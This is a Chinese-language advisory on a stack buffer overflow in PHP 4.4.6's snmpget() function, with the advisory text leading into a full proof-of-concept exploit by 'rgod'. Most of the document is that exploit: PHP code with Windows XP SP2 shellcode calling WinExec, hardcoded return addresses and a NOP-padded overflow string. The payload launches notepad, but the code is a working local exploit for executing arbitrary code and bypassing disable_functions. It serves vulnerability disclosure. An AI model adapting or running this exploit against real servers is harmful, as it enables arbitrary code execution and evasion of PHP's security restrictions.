PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP4的snmpget()函数中存在栈溢出漏洞,攻击者可能利用此漏洞在服务器上执行任意指令。
如果本地攻击者发送了超长参数的话,就可能触发这个溢出,导致执行任意代码,绕过disable_functions之类的安全限制。
PHP 4.4.6
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本
<a href=“http://www.php.net” target=“_blank”>http://www.php.net</a>
<?php
// PHP 4.4.6 snmpget() object id local buffer overflow poc exploit
// by rgod
// site: [url]http://retrogod.altervista.org[/url]
// win xp sp2 version
// to be launched form the cli
if (!extension_loaded("snmp")){
die("you need the snmp extension loaded.");
}
$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\x6d\x13\x86\x7c". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\xda\xcd\x81\x7c". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";
$edx="\x64\x8f\x9b\x01"; //jmp scode
$eip="\x73\xdc\x82\x7c"; //0x7C82DC73 jmp edx
$____suntzu=str_repeat("A",188).$edx.str_repeat("A",64).$eip.str_repeat("\x90",48).$____scode.str_repeat("\x90",48);
//more than 256 chars result in simple eip overwrite
snmpget(1,1,$____suntzu);
?>